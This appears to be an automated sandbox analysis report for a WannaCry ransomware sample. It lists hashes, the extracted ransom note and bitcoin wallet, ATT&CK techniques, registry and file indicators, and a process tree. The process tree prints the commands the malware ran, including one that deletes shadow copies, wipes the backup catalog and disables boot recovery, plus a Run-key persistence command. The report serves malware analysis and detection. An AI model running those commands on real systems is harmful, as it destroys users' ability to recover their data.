wannacry | ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

Target

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Size

3.4MB
MD5

84c82835a5d21bbcf75a61706d8ab549
SHA1

5ff465afaabcbf0150d1a3ab2c2e74f3a4426467
SHA256

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
SHA512

90723a50c20ba3643d625595fd6be8dcf88d70ff7f4b4719a88f055d5b3149a4231018ea30d375171507a147e59f73478c0c27948590794554d031e7d54b7244

Score

10^/10

ransomware worm wannacry discovery spyware persistence

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\@Please_Read_Me@.txt

Family

wannacry

Ransom Note

Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �

Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Signatures

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exe

pid process

3112 attrib.exe
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
3112	attrib.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\pajxwiyyl178 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\""	reg.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Executes dropped EXE 16 IoCs

Processes:

taskdl.exe@WanaDecryptor@.exe@WanaDecryptor@.exetaskhsvc.exetaskse.exe@WanaDecryptor@.exetaskdl.exetaskdl.exetaskse.exe@WanaDecryptor@.exetaskdl.exetaskse.exe@WanaDecryptor@.exetaskse.exe@WanaDecryptor@.exetaskdl.exe

pid	process
3520	taskdl.exe
3032	@WanaDecryptor@.exe
980	@WanaDecryptor@.exe
644	taskhsvc.exe
1884	taskse.exe
2924	@WanaDecryptor@.exe
2160	taskdl.exe
3748	taskdl.exe
3344	taskse.exe
3348	@WanaDecryptor@.exe
2652	taskdl.exe
2668	taskse.exe
2592	@WanaDecryptor@.exe
3936	taskse.exe
3828	@WanaDecryptor@.exe
408	taskdl.exe

Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

@WanaDecryptor@.exe@WanaDecryptor@.exe@WanaDecryptor@.exe@WanaDecryptor@.exe@WanaDecryptor@.exe@WanaDecryptor@.exe

pid	process
3032	@WanaDecryptor@.exe
3032	@WanaDecryptor@.exe
980	@WanaDecryptor@.exe
980	@WanaDecryptor@.exe
2924	@WanaDecryptor@.exe
2924	@WanaDecryptor@.exe
3348	@WanaDecryptor@.exe
2592	@WanaDecryptor@.exe
3828	@WanaDecryptor@.exe

Suspicious use of AdjustPrivilegeToken 53 IoCs

Processes:

vssvc.exeWMIC.exetaskse.exetaskse.exetaskse.exetaskse.exe

description	pid	process
Token: SeBackupPrivilege	1492	vssvc.exe
Token: SeRestorePrivilege	1492	vssvc.exe
Token: SeAuditPrivilege	1492	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1800	WMIC.exe
Token: SeSecurityPrivilege	1800	WMIC.exe
Token: SeTakeOwnershipPrivilege	1800	WMIC.exe
Token: SeLoadDriverPrivilege	1800	WMIC.exe
Token: SeSystemProfilePrivilege	1800	WMIC.exe
Token: SeSystemtimePrivilege	1800	WMIC.exe
Token: SeProfSingleProcessPrivilege	1800	WMIC.exe
Token: SeIncBasePriorityPrivilege	1800	WMIC.exe
Token: SeCreatePagefilePrivilege	1800	WMIC.exe
Token: SeBackupPrivilege	1800	WMIC.exe
Token: SeRestorePrivilege	1800	WMIC.exe
Token: SeShutdownPrivilege	1800	WMIC.exe
Token: SeDebugPrivilege	1800	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1800	WMIC.exe
Token: SeRemoteShutdownPrivilege	1800	WMIC.exe
Token: SeUndockPrivilege	1800	WMIC.exe
Token: SeManageVolumePrivilege	1800	WMIC.exe
Token: 33	1800	WMIC.exe
Token: 34	1800	WMIC.exe
Token: 35	1800	WMIC.exe
Token: 36	1800	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1800	WMIC.exe
Token: SeSecurityPrivilege	1800	WMIC.exe
Token: SeTakeOwnershipPrivilege	1800	WMIC.exe
Token: SeLoadDriverPrivilege	1800	WMIC.exe
Token: SeSystemProfilePrivilege	1800	WMIC.exe
Token: SeSystemtimePrivilege	1800	WMIC.exe
Token: SeProfSingleProcessPrivilege	1800	WMIC.exe
Token: SeIncBasePriorityPrivilege	1800	WMIC.exe
Token: SeCreatePagefilePrivilege	1800	WMIC.exe
Token: SeBackupPrivilege	1800	WMIC.exe
Token: SeRestorePrivilege	1800	WMIC.exe
Token: SeShutdownPrivilege	1800	WMIC.exe
Token: SeDebugPrivilege	1800	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1800	WMIC.exe
Token: SeRemoteShutdownPrivilege	1800	WMIC.exe
Token: SeUndockPrivilege	1800	WMIC.exe
Token: SeManageVolumePrivilege	1800	WMIC.exe
Token: 33	1800	WMIC.exe
Token: 34	1800	WMIC.exe
Token: 35	1800	WMIC.exe
Token: 36	1800	WMIC.exe
Token: SeTcbPrivilege	1884	taskse.exe
Token: SeTcbPrivilege	1884	taskse.exe
Token: SeTcbPrivilege	3344	taskse.exe
Token: SeTcbPrivilege	3344	taskse.exe
Token: SeTcbPrivilege	2668	taskse.exe
Token: SeTcbPrivilege	2668	taskse.exe
Token: SeTcbPrivilege	3936	taskse.exe
Token: SeTcbPrivilege	3936	taskse.exe

Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

1220 vssadmin.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

3584 icacls.exe

pid	process
1220	vssadmin.exe

pid	process
3584	icacls.exe

Suspicious use of WriteProcessMemory 78 IoCs

Processes:

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.execmd.execmd.exe@WanaDecryptor@.exe@WanaDecryptor@.execmd.execmd.exe

description	pid	process	target process
PID 2920 wrote to memory of 3112	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	attrib.exe
PID 2920 wrote to memory of 3112	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	attrib.exe
PID 2920 wrote to memory of 3112	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	attrib.exe
PID 2920 wrote to memory of 3584	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	icacls.exe
PID 2920 wrote to memory of 3584	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	icacls.exe
PID 2920 wrote to memory of 3584	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	icacls.exe
PID 2920 wrote to memory of 3520	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe
PID 2920 wrote to memory of 3520	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe
PID 2920 wrote to memory of 3520	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe
PID 2920 wrote to memory of 3164	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	cmd.exe
PID 2920 wrote to memory of 3164	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	cmd.exe
PID 2920 wrote to memory of 3164	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	cmd.exe
PID 3164 wrote to memory of 3968	3164	cmd.exe	cscript.exe
PID 3164 wrote to memory of 3968	3164	cmd.exe	cscript.exe
PID 3164 wrote to memory of 3968	3164	cmd.exe	cscript.exe
PID 2920 wrote to memory of 3032	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	@WanaDecryptor@.exe
PID 2920 wrote to memory of 3032	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	@WanaDecryptor@.exe
PID 2920 wrote to memory of 3032	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	@WanaDecryptor@.exe
PID 2920 wrote to memory of 2092	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	cmd.exe
PID 2920 wrote to memory of 2092	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	cmd.exe
PID 2920 wrote to memory of 2092	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	cmd.exe
PID 2092 wrote to memory of 980	2092	cmd.exe	@WanaDecryptor@.exe
PID 2092 wrote to memory of 980	2092	cmd.exe	@WanaDecryptor@.exe
PID 2092 wrote to memory of 980	2092	cmd.exe	@WanaDecryptor@.exe
PID 3032 wrote to memory of 644	3032	@WanaDecryptor@.exe	taskhsvc.exe
PID 3032 wrote to memory of 644	3032	@WanaDecryptor@.exe	taskhsvc.exe
PID 3032 wrote to memory of 644	3032	@WanaDecryptor@.exe	taskhsvc.exe
PID 980 wrote to memory of 964	980	@WanaDecryptor@.exe	cmd.exe
PID 980 wrote to memory of 964	980	@WanaDecryptor@.exe	cmd.exe
PID 980 wrote to memory of 964	980	@WanaDecryptor@.exe	cmd.exe
PID 964 wrote to memory of 1220	964	cmd.exe	vssadmin.exe
PID 964 wrote to memory of 1220	964	cmd.exe	vssadmin.exe
PID 964 wrote to memory of 1220	964	cmd.exe	vssadmin.exe
PID 964 wrote to memory of 1800	964	cmd.exe	WMIC.exe
PID 964 wrote to memory of 1800	964	cmd.exe	WMIC.exe
PID 964 wrote to memory of 1800	964	cmd.exe	WMIC.exe
PID 2920 wrote to memory of 1884	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskse.exe
PID 2920 wrote to memory of 1884	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskse.exe
PID 2920 wrote to memory of 1884	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskse.exe
PID 2920 wrote to memory of 2924	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	@WanaDecryptor@.exe
PID 2920 wrote to memory of 2924	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	@WanaDecryptor@.exe
PID 2920 wrote to memory of 2924	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	@WanaDecryptor@.exe
PID 2920 wrote to memory of 2160	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe
PID 2920 wrote to memory of 2160	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe
PID 2920 wrote to memory of 2160	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe
PID 2920 wrote to memory of 2368	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	cmd.exe
PID 2920 wrote to memory of 2368	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	cmd.exe
PID 2920 wrote to memory of 2368	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	cmd.exe
PID 2368 wrote to memory of 2668	2368	cmd.exe	reg.exe
PID 2368 wrote to memory of 2668	2368	cmd.exe	reg.exe
PID 2368 wrote to memory of 2668	2368	cmd.exe	reg.exe
PID 2920 wrote to memory of 3748	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe
PID 2920 wrote to memory of 3748	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe
PID 2920 wrote to memory of 3748	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe
PID 2920 wrote to memory of 3344	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskse.exe
PID 2920 wrote to memory of 3344	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskse.exe
PID 2920 wrote to memory of 3344	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskse.exe
PID 2920 wrote to memory of 3348	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	@WanaDecryptor@.exe
PID 2920 wrote to memory of 3348	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	@WanaDecryptor@.exe
PID 2920 wrote to memory of 3348	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	@WanaDecryptor@.exe
PID 2920 wrote to memory of 2668	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskse.exe
PID 2920 wrote to memory of 2668	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskse.exe
PID 2920 wrote to memory of 2668	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskse.exe
PID 2920 wrote to memory of 2652	2920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe

Loads dropped DLL 7 IoCs

Processes:

taskhsvc.exe

pid process

644 taskhsvc.exe
644 taskhsvc.exe
644 taskhsvc.exe
644 taskhsvc.exe
644 taskhsvc.exe
644 taskhsvc.exe
644 taskhsvc.exe

pid	process
644	taskhsvc.exe
644	taskhsvc.exe
644	taskhsvc.exe
644	taskhsvc.exe
644	taskhsvc.exe
644	taskhsvc.exe
644	taskhsvc.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe@WanaDecryptor@.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@WanaDecryptor@.bmp"	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@WanaDecryptor@.bmp"	@WanaDecryptor@.exe

Drops startup file 2 IoCs

Processes:

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDE4DC.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDE4E3.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

2668 reg.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

taskhsvc.exe

pid process

644 taskhsvc.exe
644 taskhsvc.exe
644 taskhsvc.exe
644 taskhsvc.exe
644 taskhsvc.exe
644 taskhsvc.exe

pid	process
2668	reg.exe

pid	process
644	taskhsvc.exe
644	taskhsvc.exe
644	taskhsvc.exe
644	taskhsvc.exe
644	taskhsvc.exe
644	taskhsvc.exe

JavaScript code in executable 5 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe	js
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe	js
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\LIBEAY32.dll	js
\Users\Admin\AppData\Local\Temp\TaskData\Tor\libeay32.dll	js
\Users\Admin\AppData\Local\Temp\TaskData\Tor\libeay32.dll	js

Wannacry
WannaCry is a ransomware cryptoworm.
ransomware worm wannacry

C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
"C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
1⤵
- Suspicious use of WriteProcessMemory
- Sets desktop wallpaper using registry
- Drops startup file
PID:2920

C:\Windows\SysWOW64\attrib.exe
attrib +h .
2⤵
- Views/modifies file attributes
PID:3112

C:\Windows\SysWOW64\icacls.exe
icacls . /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:3584

C:\Users\Admin\AppData\Local\Temp\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:3520

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c 163141595495887.bat
2⤵
- Suspicious use of WriteProcessMemory
PID:3164

C:\Windows\SysWOW64\cscript.exe
cscript.exe //nologo m.vbs
3⤵
PID:3968

C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
@WanaDecryptor@.exe co
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3032

C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe
TaskData\Tor\taskhsvc.exe
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:644

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c start /b @WanaDecryptor@.exe vs
2⤵
- Suspicious use of WriteProcessMemory
PID:2092

C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
@WanaDecryptor@.exe vs
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:980

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
4⤵
- Suspicious use of WriteProcessMemory
PID:964

C:\Windows\SysWOW64\vssadmin.exe
vssadmin delete shadows /all /quiet
5⤵
- Interacts with shadow copies
PID:1220

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic shadowcopy delete
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1800

C:\Users\Admin\AppData\Local\Temp\taskse.exe
taskse.exe C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1884

C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
@WanaDecryptor@.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Sets desktop wallpaper using registry
PID:2924

C:\Users\Admin\AppData\Local\Temp\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:2160

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "pajxwiyyl178" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
2⤵
- Suspicious use of WriteProcessMemory
PID:2368

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "pajxwiyyl178" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
3⤵
- Adds Run key to start application
- Modifies registry key
PID:2668

C:\Users\Admin\AppData\Local\Temp\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:3748

C:\Users\Admin\AppData\Local\Temp\taskse.exe
taskse.exe C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3344

C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
@WanaDecryptor@.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3348

C:\Users\Admin\AppData\Local\Temp\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:2652

C:\Users\Admin\AppData\Local\Temp\taskse.exe
taskse.exe C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2668

C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
@WanaDecryptor@.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2592

C:\Users\Admin\AppData\Local\Temp\taskse.exe
taskse.exe C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3936

C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
@WanaDecryptor@.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3828

C:\Users\Admin\AppData\Local\Temp\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:408

C:\Windows\system32\notepad.exe
"C:\Windows\system32\notepad.exe"
1⤵
PID:3212

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1492

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Registry Run Keys / Startup Folder

T1060

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

File Deletion

T1107

Modify Registry

T1112

File Permissions Modification

T1222

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Inhibit System Recovery

T1490

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\0.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\00000000.res

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C:\Users\Admin\AppData\Local\Temp\1.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\10.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\11.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\12.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\13.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\14.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\15.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\16.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\163141595495887.bat

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C:\Users\Admin\AppData\Local\Temp\17.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\18.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\19.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\2.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\20.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\21.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\22.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\23.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\24.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\25.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\26.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\27.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\28.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\3.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\4.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\5.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\6.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\7.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\8.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\9.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe

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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe

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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe

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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe

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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe

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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe

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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe

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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe.lnk

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C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\LIBEAY32.dll

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C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\SSLEAY32.dll

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C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\libevent-2-0-5.dll

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C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\libgcc_s_sjlj-1.dll

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C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\libssp-0.dll

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C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe

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C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe

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C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\zlib1.dll

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C:\Users\Admin\AppData\Local\Temp\b.wnry

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C:\Users\Admin\AppData\Local\Temp\c.wnry

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C:\Users\Admin\AppData\Local\Temp\c.wnry

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C:\Users\Admin\AppData\Local\Temp\m.vbs

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C:\Users\Admin\AppData\Local\Temp\msg\m_bulgarian.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_chinese (simplified).wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_chinese (traditional).wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_croatian.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_czech.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_danish.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_dutch.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_english.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_filipino.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_finnish.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_french.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_german.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_greek.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_indonesian.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_italian.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_japanese.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_korean.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_latvian.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_norwegian.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_polish.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_portuguese.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_romanian.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_russian.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_slovak.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_spanish.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_swedish.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_turkish.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_vietnamese.wnry

